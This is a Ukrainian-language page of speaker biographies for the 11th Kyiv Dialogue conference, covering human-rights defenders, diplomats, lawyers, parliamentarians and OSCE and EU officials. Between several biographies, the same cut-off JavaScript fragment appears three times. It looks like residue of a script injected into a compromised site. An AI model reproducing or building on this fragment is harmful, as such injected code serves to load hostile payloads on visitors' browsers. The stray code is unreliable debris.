11-ТА РІЧНА КОНФЕРЕНЦІЯ КИЇВСЬКОГО ДІАЛОГУ

Вивчала славістику і східноєвропейську історію в Берліні, Москві, Відні та Мюнхені. В 1987 р. отримала диплом магістра з цієї спеціальності. З 1987 по 2000 рр. працювала  перекладачем, керувала проектами на багатьох підприємствах і разом з тим отримала багаторічний досвід в Білорусі, Росії, Узбекистані та Індонезії. Тісну співпрацю з Фондом Конрада Аденауера почала у 1994 р. З 2000 до 2005 рр. була головою представництва Фонду в Санкт Петербурзі, її було призначено також регіональною представницею Фонду в Північно-східній Росії. Пізніше перейшла до центрального офісу Фонду Аденауера в Берліні і відповідала спочатку за регіон Центральної та Східної Європи (2005-2008), а згодом головою відділення внутрішніх програм фонду (2008-2012). З липня 2012  р. Габріель Бауманн головує в представництві Фонду Аденауера в Україні.

Доктор філософських наук, виконавчий директор Міжнародного фонду Відродження. Навчався на філософському факультеті Київського університету ім. Т.Шевченка. Працював доцентом при альма-матер та у Національному Університеті “Києво-Могилянська академія”. У 1993-1998рр обіймав посаду головного редактора журналу “Політична думка” та був президентом Українського філософського фонду. Автор та співавтор численних наукових працьта наукових статей з філософії та політичних наук (www.bystrytsky.org).

Німецький юрист та дипломат. Надзвичайний і Повноважний Посол Німеччини в Україні. Закінчив юридичний факультет Гейдельберзького університету Рупрехта-Карла, де і захистив десертацію. Пройшов курс навчання в Дипломатичній академії в Бонні. Працював в якості співробітника Посольства Федеративної Республіки Німеччина в СРСР (1986 — 1989), Бразилії (1989 — 1991), Польщі (1994 — 1997). У 1991 — 1994 рр. — співробітник відділу НАТО Федерального міністерства закордонних справ у Бонні. У 1999 — 2003 рр. — працював у Міжнародному секретаріаті НАТО в Брюсселі. У 2003 — 2007 рр. — завідувач відділом Європейської політики безпеки та оборони Федерального міністерства закордонних справ Німеччини у Бонні. Надзвичайний і Повноважний Посол Німеччини в Іраку (2008 — 2009), Республіці Білорусь (2010 — 2012) та з 2012 року – в Україні.

Юрист, правозахисник, експерт з питань державно-церковних відносин. Виконавчий директор Інституту релігійної свободи (з 2008 р.), член Консультативної ради при Уповноваженому Верховної Ради України з прав людини (з 2012 р.), член Експертної ради з питань свободи совісті та діяльності релігійних організацій при Міністерстві культури України (з 2015 р.). Факти релігійних переслідувань на Донбасі та в Криму під час російської агресії представляв на міжнародних конференціях ОБСЄ у Відні та Варшаві.

Народився в Німеччині. Вчився в греко-католицькій семінарії. Співпрацював із об’єднаною прес-службою Католицьких церков під час візиту Папи Римського Івана Павла ІІ до України. Очолює Міжнародний благодійний фонд «Карітас-Україна», який опікується ВІЛ-позитивними та безпритульними дітьми, новітніми («четвертої хвилі») емігрантами тощо. 

Координатор з документування "Міжнародного партнерства з прав людини", міжнародної неурядової організації з головним офісом в Брюселі. Координує польову місію організації в Україні. За минулий рік організувала 31 польову місію на Схід України з метою документування злочинів проти людяності та військових злочинів. Координатор польової місії документаторів подій в Єревані 2015, волонтер ініціативи "Євромайдан-SOS". Тренер з безпеки  правозахисників, сертифікований організацією "Frontline Defenders".

Доцент кафедри конституційного права Національного юридичного університету імені Ярослава Мудрого, Харків. У 2001 році за контрактом з Міністерством юстиції України проводив дослідження правової системи України на замовлення Світового банку. Був залучений Радою Європи у якості експерта для підготовки звіту про відповідність українського законодавства Європейській Конвенції прав людини та основних свобод. У 2004 році за спільним контрактом Міністерства юстиції Канади та Міністерства юстиції України був експертом українсько-канадського проекту “Сприяння доброчесності посадових осіб”, метою якого було дослідження причин та шляхів подолання корупції в Україні. У 2014 році проводив дослідження якості судових рішень за результатами розгляду виборчих спорів судами України. Брав участь у робочій групі з доопрацювання проекту Закону України «Про очищення влади».

Керівник відділу верховенства права Координатора проектів ОБСЄ в Україні. У 2000 р. закінчив Київський національний університет ім. Т.Шевченка за спеціальністю «міжнародне право», кваліфікація — магістр. У 2002 р. закінчив Центральноєвропейський університет у м.Будапешті й отримав ступінь LL.M. (Legum Magister) у порівняльному конституційному праві. Працював начальником відділу європейського та порівняльного права при Міністерстві юстиції та юридичним консультантом проекту Світового банку «Розширення доступу до ринків фінансових послуг». Є консультантом Конституційної Комісії та членом Ради з питань судової реформи.

Правозахисник, голова Комітету «Громадянське сприяння», член Ради та керівник Мережі «Міграція і право» правозахисного центру «Меморіал». Закінчила механіко-математичний факультет МГУ (1965) і аспірантуру (1967). У 1990 році році стала одним із засновників Комітету « Громадянське сприяння» - першої правозахисної організації, що надає різнобічну допомогу біженцям і вимушеним переселенцям в Росії. У 1991 році році брала участь у створення Правозахисного центру «Меморіал». У 1996 році в рамках ПЦ « Меморіал » організувала Мережу «Міграція і Право». Комітет «Громадянське сприяння» і Мережа «Міграція і Право » працюють в тісній співпраці з Управління Верховного комісара ООН у справах біженців і користуються його активною підтримкою .У 2003 році нагороджена премією Німецької секції «Міжнародної амністії» за видатні заслуги в галузі захисту прав людини. ПЦ « Меморіал » у 2004 році був нагороджений премією імені Фрітьофа Нансена УВКБ ООН за роботу в галузі захисту біженців. У 2010 році лідером норвезької Консервативної партії Ерною Сольберг (Erna Solberg) була висунута (разом з «Меморіалом») на Нобелівську премію миру. 

Кандидат юридичних наук, доцент. У 2007 - 2008 рр. - вчений секретар вченої ради Інституту міжнародних відносин Київського національного університету імені Тараса Шевченка, у 2008 - 2010 рр. - заступник директора Інституту з навчальної роботи. Був членом редакційної ради Міжнародного журналу Червоного Хреста, Українського часопису міжнародного права, виконавчим редактор Українського щорічника міжнародного права З грудня 2009 р. - член Європейського Комітету із запобігання катуванням і нелюдському або такому, що принижує людську гідність, поводженню або покаранню, з березня 2013 р. - другий віце-президент цього комітету. З 2015 президент комітету Ради Європи з питань запобігання катуванням чи нелюдському або такому, що принижує гідність, поводженню чи покаранню, експерт Democracy Reporting International.

Наталя Гуменюк закінчила Інститут журналістики КНУ ім. Шевченка (2000–2004) та магістратуру з міжнародної журналістики в університеті міста Оребро, Швеція (2005–2006).^[2] Викладає курс «Міжнародні медіасистеми» Могилянської школи журналістики у Києві. Після того власним коштом поїхала висвітлювати події Арабської весни. Почала працювати як міжнародник-фрілансер переважно для українських видань, таких як «Український тиждень», «Українська правда», «Esquire Україна», студія «1+1», радіо «Голос столиці», а також для деяких закордонних: OpenDemocracy Russia (Велика Британія), RTL-Netherlands, M6 (Франція). Лауреат відзнаки Фонду розвитку журналістики імені Анатолія Москаленка за здобутки в журналістиці, Номінант EMMY INTERNATIONAL AWARD 2009 за висвітлення Війни в Осетії телеканалом ІНТЕР як представник редакційної групи. У 2013 році стала одним із ініціаторів створення «Громадського телебачення».

Експерт "Реанімаційного пакету реформ", колишній суддя Вінницького окружного адміністративного суду. Магістр економічних наук Харківського національного університету (2002-2008), кандидат філософських наук Київського національного університету імені Тараса Шевченка (2007-2009) магістр правових наук в Erasmus Universiteit Rotterdam (2009), магістр права і економіки в Болонському університеті (2009-2010). В 2007 - 2009 роках був співробітником з правових питань Національної академії правових наук України. Доцент, у  2012-2013 роках викладав у Вінницькому Національному аграрному університеті. З 2013 суддя Вінницького окружного адміністративного суду. 

// t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e

Адвокат, експерт Української Гельсінської спілки з прав людини. Зразу після закінчення університету починає працювати юристом, у 2001 році отримує посвідчення адвоката. Згодом долучається до Європейської Конвенції про захист прав людини. Юрист, Регіональний центр прав людини.

Керівник адвокаційного центру, в Українській Гельсінській Спілці з Прав Людини з 2014 року. Народився 11 лютого 1977 року, освіта вища, Харківський національний університет, спеціальність - історія та суспільно-політичні дисципліни. Сфера роботи Бориса Захарова – розробка стратегії і планування адвокаціної діяльності, оновлення інформації про діяльність та поточну ситуацію в директивних органах, створення ключових інформаційних повідомлень, координація діяльності або представництво в консультативних органах, контроль над здійсненням кампаній , розробка завдань для аналітичних заходів та стратегічного судового захисту.

Голова Правління Української Гельсінської спілки з прав людини, директор Харківської правозахисної групи. Учасник дисидентського руху 1970-1980-х років. У 1989 році Євген Захаров стає співголовою Харківського «Меморіалу». У 1992 році він стає співголовою Харківської правозахисної групи. З 1994 року він також є членом правління Міжнародного товариства «Меморіал». У 2011 році Євген Захаров стає директором Харківської правозахисної групи. 25 січня 2012 року його було обрано головою правління Української Гельсінської Спілки з прав людини. Крім того, Євген Захаров є членом Московської Гельсінської групи (з 1989 р.), Української Секції Міжнародного товариства прав людини (з 1995 р.). У 2014–2015 рр. — член Конкурсної комісії, до повноважень якої входить висунення кандидатур на посаду директора Національного антикорупційного бюро України. Після Революції гідності Євген Захаров був призначений головою Експертної ради з реформування міліції при МВС України, яка була створена у квітні 2014.

// t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e

Вивчала релігієзнавство, політологію а також публіцистику та комунікацію в Берліні та Римі. Після закінчення навчання займалась реалізацією проекту фундації Конрада Аденауера по ісламізму та попередженню радикалізації. Починаючи з травня 2011 р. вона координує відділення з питань імміграції та інтеграції у відділі Політика та дорадництво, фонд Конрада Аденаура, Берлін. З 2014 р. Катаріна Зенге очолює робочу групу Інтеграція. До сфери її інтересів належать питання інтеграційної політики, участі людей з імміграційним підґрунттям у політичних процесах країни, імміграції та політики щодо біженеців.

Голова Асоціації єврейських організацій та общин України, український громадський діяч і дисидент єврейського походження, діяч українського єврейського руху. У 1978 вступає в Українську Гельсінську групу. У тому ж році заарештований і засуджений до трьох років позбавлення волі в колонії посиленого режиму за «наклепницькі вигадки, що порочать радянський державний і суспільний лад». У 1988 створює в Чернівцях першу єврейську організацію в Україні. У 1989 бере участь в створенні Ваада (Конфедерації єврейських організацій і общин) СРСР і стає його співголовою. Член рад Європейської Ради єврейських общин, Європейського і Світового єврейських конгресів, Світової сіоністській організації. Голова Ваад України (з 1991), виконавчий віце-президент Єврейської Конфедерації України. У 2002 на засновницькому з'їзді Євро-Азійського Єврейського Конгресу в Москві (Росія) обраний головою Генеральної Ради. Співзасновник Музею історії та культури євреїв Буковини (2008). Виконавчий віце-президент Конгресу Національних Громад України (КНГУ). У 2014–2015 — член Конкурсної комісії, до повноважень якої входить висунення кандидатур на посаду директора Національного антикорупційного бюро України. Нагороджений орденом «За мужність» I ст. (8 листопада 2006) — за громадянську мужність, самовідданість у боротьбі за утвердження ідеалів свободи і демократії та з нагоди 30-ї річниці створення Української Громадської Групи сприяння виконанню Гельсінкських угод.

// t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e

Експерт з питань Східної Європи, історик. З 1990 по 1996 вивчав історію Східної Європи, а також славістику та економіку в Майнці. Із вересня 2001р. - науковий співробітник Центру гуманітарних досліджень Історії та культури Центральної та Східної Європи (GWZO) в університеті м.Лейпциг, де в рамках проекту «Візуальні та історичні культури Центральної та Східної Європи в процесі державної та суспільної модернізації з 1918 року" (керівник: проф.док. Стефан Тробст) курує дослідження на тему державної символіки, національного формування і культури пам'яті в Україні в 20 столітті. Вільфрід Їльге протягом кількох років жив і проводив дослідження в Україні. Він опублікував багато робіт із сучасної історії, політики, формування державності та культури пам'яті в України. З 2005р. є членом правління німецько-української ініціативи "Київський Діалог", з 2006 по 2009 був членом журі німецько-польсько-українсько-білоруської програми "Партнерство для суспільних ініціатив: Німеччина-Польща-Україна/Білорусь", яка відбувається за сприяння Фонду Роберта Боша, Фонду Стефана Баторія та Фонду ПАУСІ. 

Був юристом у фірмі «Василь Кисіль і Партнери», від 2004 року займається приватною юридичною практикою. Був радником відповідачів у справі повторного продажу Одеського зернового терміналу, що її розглядав Лондонський міжнародний арбітражний суд у 2007-2009. Представляв український уряд та Міністерство оборони України у справі авіакатастрофи літака Ту 154 над Чорним морем (2001), сім'ї команди та пасажирів літака Як 42 у справі авіакатастрофи в Салоніках (1997). Брав участь у моніторинґу парламентських (2002), президентських (2004) виборів в Україні, парламентських виборів у Молдові (2005). Консультант/спостерігач Конституційної комісії, провідний юридичний радник Democracy Reporting International

Керівник громадської приймальні (1999) та член Ради Харківської правозахисної групи. Навчалась у Харівському політехнічному інституті, згодом ВЦСПС – курс права про працю й житлове право, також у Харківському інженерно-економічному та пройшла Вищий курс з прав людини у Варшаві. Працювала Заступником головного лікаря районного медичного об’єднання з  кадрових питань з 1991 р.

Співробітник проекту в галузі прав людини для Європейської комісії, а також молодши1 спеціаліста для юридичної фірми та Європейського парламенту в Брюсселі (1997-99). Виконавчий асистент Голови Ради  німецького банку в Москві, та з питань верховенства закону з Бюро ОБСЄ з демократичних інститутів і прав людини, Варшава (2000-2001 роки). Займалась концептуалізацією масштабних міжнародних проектів і забезпеченням підтримки впровадження розробок в галузі правової і судова реформа (2002-2011). Директор Фондому Фрідріха Науманна за Свободу по Україні та Білорусі. Проектний менеджер січня 2012 і консультант з GIZ - німецьке товариство інтегральної співпраці.

Здобув кваліфікацію юриста в Київському національному університеті внутрішніх справ, має диплом з відзнакою за спеціальністю "Правознавство". Випускник Київського національного університету імені Тараса Шевченка за спеціальністю "Фінанси" (диплом з відзнакою) та Національної академії державного управління при Президентові України, де здобув кваліфікацію магістра державного управління. Трудову діяльність розпочав у 2002 році в Головному державному об'єднанні правової інформації та пропаганди правових знань при Міністерстві юстиції України. У 2005 – 2007 роках працював у Департаменті кадрової роботи та державної служби Міністерства юстиції України. У 2007 – 2012 роках працював у Секретаріаті Урядового уповноваженого у справах Європейського суду з прав людини Міністерства юстиції України, у тому числі обіймав керівні посади в підрозділах з питань інформаційно-аналітичної діяльності та координації виконання рішень Європейського суду з прав людини Секретаріату. З червня 2012 року очолює Секретаріат Уповноваженого Верховної Ради України з прав людини. Нагороджений Подякою Міністра юстиції України (жовтень 2007 року), Подякою Прем'єр-міністра України (жовтень 2009 року). Має 2 ранг державного службовця.

До приходу в ОБСЄ Міхаель Георг Лінк був міністром у справах Європи (першим заступником міністра закордонних справ) в уряді Німеччини і відповідав за співпрацю з ОБСЄ, ЄС, Радою Європи та НАТО. Раніше, з 2005 по 2013 рік, він був депутатом бундестагу, а з 2006 року був членом делегації Німеччини в Парламентській асамблеї ОБСЄ. Міхаель Георг Лінк входив до Наглядової ради Центру міжнародних миротворчих операцій (ZIF), Ради Німецького фонду досліджень миру і Ради Фонду німецько-польського співробітництва; він продовжує брати активну участь у роботі міжнародних НУО.

Український адвокат, бізнесмен, громадський діяч, депутат Верховної ради України. Закінчив Академію МВС України за спеціальністю «юрист». Очолює Піклувальну раду Конгресу національних громад України. З 2005 року — радник народного депутата України Мустафи Джемільова та консультант Конгресу національних громад України та Меджлісу кримськотатарського народу з міжнародно-правових питань. З 2010 року брав участь в діяльності громадської ради Державної митної служби України, автор низки проектів нормативно-правових актів митної служби націлених на лібералізацію митної політики. З 2010 року бере участь в експертній діяльності Парламентської Асамблеї Ради Європи, допомагав в підготовці низки доповідей ПАРЄ. Заступник голови Міжвідомчої робочої групи Кабінету Міністрів України з питань відшкодування втрат, завданих тимчасовою окупацією частини території України. Один з розробників проекту Закону України «Про забезпечення прав і свобод громадян та правовий режим на тимчасово окупованій території України». 

Виконавчий директор, Amnesty International в Україні Тетяна закінчила юридичний факультет Львівського національного університету імені Івана Франка, магістр права. Під час навчання на юридичному факультеті була активним членом, а згодом і головою Об’єднання Студентів Правників, молодіжної громадської організації. З третього курсу працювала в громадській організації, виконавчому партнері Управління Верховного Комісара ООН у справах біженців, надаючи юридичні консультації біженцям та шукачам притулку. У 2001 році приєднується до Amnesty International в Україні, українського представництва однієї з найбільших міжнародних правозахисних організацій. В 2006 році стає членом правління організації, а з 2008 року обіймає посаду виконавчого директора представництва Amnesty International в Україні. Є тренером з прав людини, зокрема, таких питань як міжнародні механізми захисту прав людини, права біженців та шукачів притулку, права жінок, захист від катувань та інших видів жорстокого поводження, захист від дискримінації. 

Український правознавець, правозахисник, доктор юридичних наук, колишній голова правління Асоціації українських моніторів дотримання прав людини в діяльності правоохоронних органів, експерт з реформування МВС. У 1999–2001 роках брав участь у миротворчій місії Цивільної поліції ООН в Боснії-Герцеговині командиром станції Нові Град, а потім повернувся до Харківського національного університету внутрішніх справ. У 2002–2003 роках був у складі Миротворчої місії Цивільної поліції ООН в Косово на посаді офіцера контрольного відділу забезпечення Головного штабу місії у Приштині. У 2006–2008 рр. був радником міністра внутрішніх справ України з прав людини та гендерних питань. У 2008–2010 рр. був помічником міністра внутрішніх справ України — начальником управління моніторингу дотримання прав людини в діяльності органів внутрішніх справ.

Олександра Матвійчук є головою правління громадської організації “Центр Громадянських Свобод”, діяльність якої спрямована на підтримку демократичного розвитку та дотримання прав людини в Україні та країнах пострадянського простору. Член кількох робочих груп, що беруть участь у розробці законодавства, в тому числі, для приведення законодавства України у відповідність із міжнародними зобов'язаннями України в галузі прав людини. Член Консультативної ради при Уповноваженому Верховної Ради України з прав людини. Матвійчук О. є автором публікацій на теми, пов’язані із правами людини. Зокрема, співавтором щорічної доповіді з моніторингу політичних переслідувань громадянського суспільства в Україні. Олександра Матвійчук координує громадянську ініціативу Євромайдан SOS, яка була створена після насильницького розгону мирної демонстрації на Майдані Незалежності 30 листопада 2013 року. Протягом подій Євромайдану волонтери ініціативи працювали в цілодобовому режимі для забезпечення правової та іншої допомоги для переслідуваних учасників протесту по всій Україні. На даний час Євромайдан SOS продовжує свою роботу щодо документування порушень прав людини та воєнних злочинів в Криму та на Сході України.

Голова Консультативної Місії ЄС в Україні. Міжей має ступінь PhD з економіки, який він отримав навчаючись у Будапештському університеті технології та економіки. 1992-1995 займав пост віце-президента з економічних програм Інституту Схід-Захід (Нью-Йорк). Сфера інтересу: приватизація та перехідний період у країнах Східної Європи та СНД. 1997-2001: Директор Глобальної інвестиційної групи AIG щодо Центральної і Східної Європи.
2001-2006: Помічник генерального секретаря ООН та Директор регіонального бюро ПРООН з питань Європи та СНД. Міжей працював з 31 програмною країною та управляв персоналом у кількості близько 2 тис. Людей. Від 2006: ад’юнкт-професор з питань глобалізації, глобального управління та економічного і політичного перехідного періоду у Східній Європі після 1989 року у Центральноєвропейському університеті. 2007-2013: Голова правління Making the Most of EU Funds for Roma Inclusion та Співголова правління з питань політики щодо ромів в Інституті відкритого суспільства.

керівник проекту Україна та Молдова, Німецький фонд міжнародного правового співробітництва, Бонн. Після навчання на юридичному факультеті в Пассау, Тулузі та Мюнхені працював адвокатом у Мюнхені. Має багаторічний досвід роботи в якості експерта ЦІМ / GIZ в Україні, Боснії і Герцеговині та Вірменії, а також у Федеральному міністерстві економічного співробітництва та розвитку (BMZ) в Бонні.

Український політик, один з авторів тексту Конституції України, колишній лідер партії «Вперед, Україно!», професор Києво-Могилянської академії.Професор Харківського юридичного інституту, згодом Національної юридичної академії імені Ярослава Мудрого. Був директором Центру комерційного права.2000–2002 — професор, завідувач кафедри галузевих правничих наук правничого факультету Національного університету «Києво-Могилянська академія».Голова наглядової ради Центру розвитку українського законодавства Народний депутат України 2-го скликання. З 1995 р. по 1996 р. — постійний представник Президента України у Верховній Раді України.З 1996 р. по 1998 р. — заступник Голови ВР України. Потім — головний консультант Науково-експертного управління Секретаріату ВР України, заступник директора з наукової роботи Інституту законодавства ВР України.У 2014–2015 рр. — член Конкурсної комісії, до повноважень якої входить висунення кандидатур на посаду директора Національного антикорупційного бюро України.

Народний депутат України (V-VIII скликань), заступник голови партії ВО «Батьківщина», Голова Комітету з питань прав людини, національних меншин і міжнаціональних відносин, Верховна Рада України. Закінчив історичний факультет Донецького державного університету, отримав ступінь кандидата наук у Київському національному університеті ім. Тараса Шевченка.  Працював проректором Національного університету «Києво-Могилянська Академія» та завідувачем кафедри європейської інтеграції Національної Академії державного управління. Був головою правління Міжнародного фонду «Відродження» та членом ради директорів Київської школи економіки. Викладав в Інституті політичних досліджень (Бордо, Франція) та Коледжі НАТО (Рим, Італія). Віце-прем'єр-міністр з питань європейської інтеграції (2007–2010).

З 2000 року працює ресурсному центрі з прав людини «CReDO». Займається проблемами демократизації та права людини, реформи поліції, благополуччя і політики охорони здоров'я змін З 2006 член Групи експертів щодо свободи зібрань ОБСЄ. Консультант з питань інституційного та бюджетного аналізу,аналізу витрат і вигод , стратегічного аналізу, аналіз політичного процесу.

З 1980 по 1996 обіймав посади оперуповноваженого, слідчого, старшого слідчого, старшого слідчого з особливо важливих справ, першого заступника начальника слідчого управління ГУ МВС України в Київській області. У 1996 очолив управління організаційного забезпечення діяльності судів і судово-правової реформи. 1997 року обійняв посаду заступника Міністра юстиції України — керуючого справами Міністерства юстиції України (м. Київ). З 1999 року 2005 був директором юридичної фірми — приватного підприємства «Професіонал», співпрацюючи з освітніми проектами в третьому секторі (зокрема, з питань правовідносин між ЗМІ і владою). У ході Помаранчевої революції спільно з колегами-юристами довів у Верховному Суді України факт фальсифікації підсумків голосування у другому турі президентських перегонів 2004. Колишній заступник Міністра фінансів України (2008 - 2010), екс-радник Президента України Віктора Ющенка. 

Керівник Відділу з питань України, МЗС ФРН, Берлін. Навчався на факультеті історії та романістики в Боннському університеті. В 1987 р. вступив в Міністерство закордонних справ Німеччини. З 1989-1992 рр. працював в Посольстві Мексики. З 1992-1995 рр. Посол в Мінську. З 1995-1997 рр. очолив Федеральне міністерство закордонних справ у Бонні (Відділ економічного співробітництва з RUS, UKR, BLR). З 1997-2000 рр. Постійний представник, Посольство Бейрут. З 2000-2001 рр. заступник глави реферату по «міжнародних конференціях», МЗС Німеччини. З 2001-2003 pp. заступник начальника реферату по Африці МЗС Німеччини. З 2003-2004 рр. заступник політичного директора, Управління Спеціального представника Генерального секретаря, Місія Організації Об'єднаних Націй в Косово.  З 2004-2007 рр. Постійний представник / начальник відділу політики, Посольство Київ. З 2007-2010 рр. керівник департаменту Центральної Азії та Південного Кавказу, Федеральне міністерство закордонних справ Німеччини, 2010-2014 рр. Посольство в Сеулі, Посол / Постійний представник.  З травня 2014 р. - глава Цільової групи по Україні, МЗС Німеччини. 

У 2000 році був одним з засновників Громадської організації «Поступ», очолював правління організації та координував роботу денного реабілітаційного центру для дітей вулиць з 2001 по 2004 роки. У 2007 році  закінчив Вищій міжнародний курс з прав людини у Варшаві. З 2007 року є головою правління Правозахисного центру «Поступ», координатор мережі дитячих правозахисних приймалень у Луганській області. У 2008 році працював у апараті УГСПЛ. З 2008 року працює в якості тренера та координатора навчальних заходів у Всеукраїнській освітній програмі «Розуміємо права людини». Активіст Восток СОС, автор багатьох статей на правозахисну тематику, координатор низки досліджень стану дотримання прав людини у регіоні, автор та упорядник декількох методичних посібників з прав людини.

Народний депутат України 8-го скликання. Член Фракції «Батьківщина». Голова підкомітету з питань енергозбереження та енергоефективностi Комітету паливно — енергетичного комплексу, ядерної політики та ядерної безпеки. Співголова групи з міжпарламентських зв’язків з Сполученим Королівством Великої Британії та Північної Ірландії. Cпівголова міжфракційного депутатського об'єднання «Єврооптімісти». Кандидат економічних наук, доцент кафедри «Міжнародна економіка» Донецького національного університету. Закінчив магістратуру у Великобританії.  2008 –  2009 рр. – брав участь у проекті Британської Ради "Low Carbon Futures: Challenge Europe", де разом із представниками 15 європейських країн працював над підвищенням обізнаності населення про проблеми зміни клімату, питаннями ефективного використання енергії і ефективній транспортній політиці в контексті глобальних змін клімату. 2005 – 2010 рр.  – експерт на громадських засадах, брав участь в дослідженнях і публікаціях згідно наукової спеціалізації у Донецький філії Національного інституту стратегічних досліджень при Президенті України.

З 2003 року директор програми „Права людини та правосуддя“, Міжнародний Фонд „Відродження“. Юрист за освітою, закінчив міжнародні програми університету в Бірмінгемі (Великобританія), Центрально-Європейського університету (Угорщина). Його сфера інтересів – права людини і верховенство закону. Роман Романов має багаторічний досвід у наданні консультацій національній владі через участь у робочій групі з реформи Кримінального права. З 2006 року Роман Романов працює з Міністерством юстиції України над створенням і розвитком системи правової допомоги в Україні. Тепер Роман Романов є членом Експертної ради у Міністерстві внутрішніх справ

Адвокат, правозахисник. Починаючи з 1999 року, вона працює як координатор, тренер, експерт проекту з прав людини. Починаючи з 2001 року, вона була Лідер напрямків у громадській організації, пов'язані з правами для неповнолітніх, молодих людей, з кримінально-виконавчої системи, і освіти в галузі прав людини в Росії. У 2004 році вона закінчила Вищу Міжнародного курсу з прав людини, організованих Гельсінським Фондом з прав людини (Варшава, Польща), а з 2007 року вона працює в Helsinki Foundation for Human Rights (HFHR)з проблем прав людини в країнах колишнього Радянського Союзу. Співпрацює з програмою «Права людини в фільмі» всередині WATCH DOCS міжнародного кінофестивалю (HFHR).

Перший заступник Міністра юстиції України. Перед цим — урядовий уповноважений у справах Європейського суду з прав людини; кандидат юридичних наук, фахівець з міжнародно-правового захисту прав людини. Працювала членом-консультантом «Центру міжнародного права та правосуддя» з підготовки скарг до ЄСПЛ. Після навчання в аспірантурі захистила дисертацію і отримала науковий ступінь кандидата юридичних наук. Працювала адвокатом Одеської колегії адвокатів і помічником-консультантом народного депутата України Мустафи Джемільова. Співпрацювала в спільних проектах з Українською Гельсінською спілкою з прав людини, науковим консультантом і розробником нормативно-правових документів щодо приєднання України до Декларації ООН про права корінних народів, брала участь в експертній діяльності проектів резолюцій Парламентської Асамблеї Ради Європи. З відзнакою закінчила міжнародні навчальні програми ім. Фулбрайта.

Народний депутат України VIII скликання. Заступник Голови Верховної Ради України. У 1993 році вступила до Національного університету «Києво-Могилянська академія», навчання у якому закінчила у 1997 році та отримала ступіньбакалавра політології. З 1998 до 2000 року навчалася в Центрі правничих студій Київського національного університету ім. Т. Шевченка. Навчання закінчила з відзнакою та здобула ступінь магістра права. З вересня 2002 до листопада 2003 навчалася в Оттавському університеті,Оттава, Канада.
Була помічником голови Української республіканської партії, помічником-консультантом народного депутата України Ігоря Юхновського. Експерт з питань соціальної реформи Проекту Програми розвитку Організації Об'єднаних Націй «Підтримка економічних, соціальних та адміністративної реформи в Україні» при Секретаріаті Міжвідомчої ради з впровадження Програми економічних реформ в Україні. Радник з юридичних питань Проекту Програми розвитку Організації Об'єднаних Націй «Підтримка економічних, соціальних та адміністративної реформи в Україні». З червня 2004 року до серпня 2012 року — національний менеджер проектів Координатора проектів в Україні ОБСЄ. Опікувалася проектами у ділянці адміністративного права, адміністративної юстиції, юридичної освіти та освіти з прав людини.

Кримська польова місія з прав людини, правозахисник, історик за освітою, голова Центру громадянської просвіти "Альменда" (м. Ялта, АРК), заступник голови Кримської польової місії з прав людини (міжнародна коаліція правозахисників), після включення цієї ініціативи до "патріотичного стоп-листу" РФ, координатор аналітичного напрямку Кримської правозахисної групи, співавтор Закону України "Про забезпечення прав і свобод внутрішньо переміщених осіб", учасник багатьох робочих груп щодо розробки та вдосконалення нормативно-правової бази України для захисту прав та свобод людей, що мешкають на окупованих територіях або вимушені були їх покинути.

Проходила у 2006-2007 роках у Гельсінському фонді з прав людини (Польща) спеціальний розширений курс з прав людини. З 2005 по 2008 працювала прес-аташе Amnesty International Ukraine. З 2008 координатор проектів громадської організації Центр "Соціальна Дія", з 2012 член правління неурядової організації Українська анти-дискримінаційна коаліція. Співкоординатор Проекту "Без Кордонів". Сфера компетенції: Права людини, права вразливих груп та меншин (біженці та шукачі притулку, мігранти, нетрадиційні меншини), поняття та види дискримінації, анти-дискримінаційне законодавство

Керує офісом Німецької спілки східноєвропейських студій з 2014. Раніше вона працювала в якості наукового співробітника в науково-дослідницькому центрі з вивчення Східної Європи при Бременського університету, як керівник програми Фонду «Пам'ять, відповідальність і майбутнє», а також виконавчим директор Берлінської Вищої школа мусульманських культур. Працювала в Вільному університеті Берліна.

Голова фракції Зелених/Європейський вільний альянс в Європарламенті. Для життя Ребекки Хармс визначальною була боротьба проти атомної енергії: В 1977р. брала участь у створенні громадської ініціативи проти центру утилізації відходів виробництва атомної енергетики Ґорлебен (Gorleben). Протягом багатьох років була в правлінні цієї ініціативи. З 1984р. асистентка в Європарламенті. У 1994 р. була кандидатом в депутати від «Зелених» до Ляндтаґу Нижньої Саксонії, у 1998р. очолила там фракцію Зелених. З 1998р. є також членом Національної партійної ради «Союз 90/Зелені». В 2004р. була обрана до Європарламенту. З 2009р. голова фракції Зелені/Європейський вільний альянс. Крім того вона співпрацює у Комітеті з питань промисловості, досліджень та енергетики, Комітеті з питань охорони навколишнього середовища, охорони здоров'я і продовольчої безпеки та Комітету з рибальства. Питання, з якими вона має справу, стосуються в першу чергу енергетичної політики, досліджень, ядерної політики, зміни клімату, охорони довкілля та захисту прав споживачів, безпеки харчових продуктів і політики в сфері рибальства. Також є членом міжпарламентської делегації – Європейський парламент та Україна.

Народився у Швейцарії, є випускником юридичного факультету Університету Фрібурга зі ступенем Магістра (LL.M) в 2000 році, потім в 2005 році закінчив факультет права і кримінального права людини в Королівському коледжі університету Абердіна зі ступенем магістра по праву (LL.M). Служив офіцером у швейцарській армії, в тому в якості регіонального командувача групи підтримки швейцарської штаб-квартири для ОБСЄ в північній Боснії і Герцеговині. Також працював у місії ОБСЄ в Косово, був учасником Тимчасової міжнародної присутності в Хевроні, також якості глави прав людини та гендерних питань для ЄС верховенства закону в Косово місії EULEX, займав різні посади на Балканах і в Східній Європі. Був завідувачем і старшим радником Верховного комісара ОБСЄ у справах національних меншин. З 14 квітня 2014 року заступник Голови спеціальної моніторингової місії в Україні.

Віце-президент Федерального союзу європейських національностей, Фленсбург. З 1991 року член Ради Фонду для сербської громади. З 1992 курівник Ради Меншини чотирьох автохтонних національних меншин та етнічних груп в Німеччині DOMOWINA - організації ліжицьких сербів.  З 2013 року член правління Федерального союзу європейських національних (ФСЕНМ). Був заступником мера муніципалітету Пушвіц.

Український кримськотатарський політик і громадський діяч. Народний депутат України III–V скликань, та діючий депутат VIII скликання. Голова Меджлісу кримськотатарського народу (з листопада 2013), заступник Голови Ради представників кримськотатарського народу (з 1999). З 2009 року — почесний професор Києво-Могилянської академії, президент Світового конгресу кримських татар.

